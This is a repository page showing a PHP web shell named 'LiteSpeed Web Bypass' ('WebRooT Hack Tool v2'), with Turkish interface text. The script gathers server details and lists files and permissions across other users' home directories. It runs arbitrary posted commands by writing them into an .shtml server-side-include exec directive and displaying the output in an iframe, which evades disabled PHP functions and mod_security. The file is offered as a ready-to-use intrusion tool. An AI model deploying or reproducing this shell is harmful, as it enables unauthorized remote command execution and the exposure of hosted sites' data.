-
Notifications
You must be signed in to change notification settings - Fork 42
/
Copy pathlitebypass.php
177 lines (147 loc) · 5.07 KB
/
litebypass.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
<title>LiteSpeed Web Bypass</title>
<body bgcolor="#FFFFFF" topmargin="0" leftmargin="0" rightmargin="0" bottommargin="0" marginwidth="00" marginheight="0">
<?php
######################## Coded By WebRooT ######################
error_reporting(0);
$info = $_SERVER['SERVER_SOFTWARE'];
$site = getenv("HTTP_HOST");
$page = $_SERVER['SCRIPT_NAME'];
$sname = $_SERVER['SERVER_NAME'];
$uname = php_uname();
$smod = ini_get('safe_mode');
$disfunc = ini_get('disable_functions');
$yourip = $_SERVER['REMOTE_ADDR'];
$serverip = $_SERVER['SERVER_ADDR'];
$version = phpversion();
$ccc = realpath($_GET['chdir'])."/";
$fdel = $_GET['fdel'];
$execute = $_POST['execute'];
$cmd = $_POST['cmd'];
$commander = $_POST['commander'];
$ls = "ls -la";
$source = $_POST['source'];
$gomkf = $_POST['gomkf'];
$title = $_POST['title'];
$sourcego = $_POST['sourcego'];
$ftemp = "tmp";
$temp = tempnam($ftemp, "cx");
$fcopy = $_POST['fcopy'];
$tuser = $_POST['tuser'];
$user = $_POST['user'];
$wdir = $_POST['wdir'];
$tdir = $_POST['tdir'];
$symgo = $_POST['symgo'];
$sym = "xhackers.txt";
$to = $_POST['to'];
$sbjct = $_POST['sbjct'];
$msg = $_POST['msg'];
$header = "From:".$_POST['header'];
//PHPinfo code
if(isset($_POST['phpinfo']))
{
die(phpinfo());
}
if ($smod)
{
$c_h = "<font color=red face='Verdana' size='1'>ON</font>";
}
else
{
$c_h = "<font face='Verdana' size='1' color=red>OFF</font>";
}
if (''==($disfunc))
{
$dis = "<font color=red>None</font>";
}
else
{
$dis = "<font color=red>$disfunc</font>";
}
//on and of info
if(isset($_GET['dir']) && is_dir($_GET['dir']))
{
chdir($_GET['dir']);
}
$ccc = realpath($_GET['chdir'])."/";
//BLACK
echo "<head>
<style>
body { font-size: 12px;
font-family: arial, helvetica;
scrollbar-width: 5;
scrollbar-height: 5;
scrollbar-face-color: green;
scrollbar-shadow-color: green;
scrollbar-highlight-color: green;
scrollbar-3dlight-color:green;
scrollbar-darkshadow-color: green;
scrollbar-track-color: green;
scrollbar-arrow-color: green;
}
</style>
<title>SAFEMOD BYPASSER - [$site]</title></head>";
//ANA tablo
echo "<body text='#000000'>
<table border='1' width='100%' id='table1' border='1' cellPadding=5 cellSpacing=0 borderColorDark=#59E817 bordercolorlight='#59E817'>
<tr>
<td style='border: 1px solid #000000'>
<font face='Verdana' size='1' color='#000000'><b>Site:</b> <u>$site</u><br><b>Server name:</b> <u>$sname</u><br><b>Software:</b> <u>$info</u><br><b>Version :</b> <u>$version</u><br><b>Uname -a:</b> <u>$uname</u><br><b>Path:</b> <u>$ccc</u><br><b>Safemode:</b> <u>$c_h</u><br><b>Disable Functions:</b> <u>$dis</u><br><b>Page:</b> <u>$page</u><br><b>Your IP:</b> <u>$yourip</u><br><b>Server IP:</b> <u><a href='http://whois.domaintools.com/".$serverip."'>$serverip</a></u></font></td>
</tr>
</table>";
?>
<p align="center"><font face="Tahoma" size="4"><b><font color="#333333">LiteSpeed</font> <font color="#FF0000">Komut Bypasser</font></b></font></p>
<form name="z1d-litespeed" method="post">
<p align="center"><font face="Tahoma"><b><font color="#FF0000">./</font> <font color="#000000">Calistir</font>
<span lang="ar-sa"><font color="#FF0000">~</font> </span> </b>
<input name="command" value="pwd" style="border: 1px dotted #FF0000; font-family:ta" size="36" tabindex="20">
<b></b> </font></p>
<p align="center"><font face="Tahoma">
<input type="submit" name="Submit" value="./Calistir">
</font></p>
<hr />/<hr />/<hr />
<div align="center">
<p> </p>
<p><font color="#FF0000" size="3">Method Not Implemented - <font face="Tahoma"> Dir Access Denied - Mod_security</font> Hatalari icin <font color="#000000" size="4" face="Tahoma"><b>Bypass</font> </font></b><br><br>
<font face="Tahoma"><b><font color="#FF0000">./</font> <font color="#333333">Calistir</font> <span lang="ar-sa"><font color="#FF0000">~ </font></span></b></font>
<INPUT NAME="getir" TYPE="TEXT" value="/home/*/public_html">
<center>
<input type="submit" value="Dizini Getir" name="submit">
<?
if($_POST["submit"]){
$listele=$_POST['getir'];
$listele=$listele."*.*";
$dosya=glob($listele);
printf("<br />");
foreach ($dosya as $dosyalar) {
printf($dosyalar); printf(" ");
echo substr(sprintf('%o', fileperms($dosyalar)), -4);
printf("<br />");
}
}
?>
</p>
<p> </p>
</div><br>
<p align="center"><img src="http://img810.imageshack.us/img810/8043/webr00t12.png" width="318" height="126" alt="te">
<p align="center"><font size="2"><b><font color="#00CC33" face="Tahoma">WebRooT Hack Tool v2 // Special Edition</font></b></font></p>
</form>
<?php
$command = $_POST['command'];
$l00l = $_POST['l00l'];
if($command){
$z11d = "<center><pre><pre>
<br>
<!--#exec cmd='$command' -->
";
$openfile = fopen("web.shtml","w");
$writeinto = fwrite($openfile,"$z11d");
fclose($openfile);
if($openfile){
}else{
}
}
?>
<br><br><center>
<pre>
<iframe src='web.shtml' width=380px height=85% id="I1" name="IF1" >
</pre>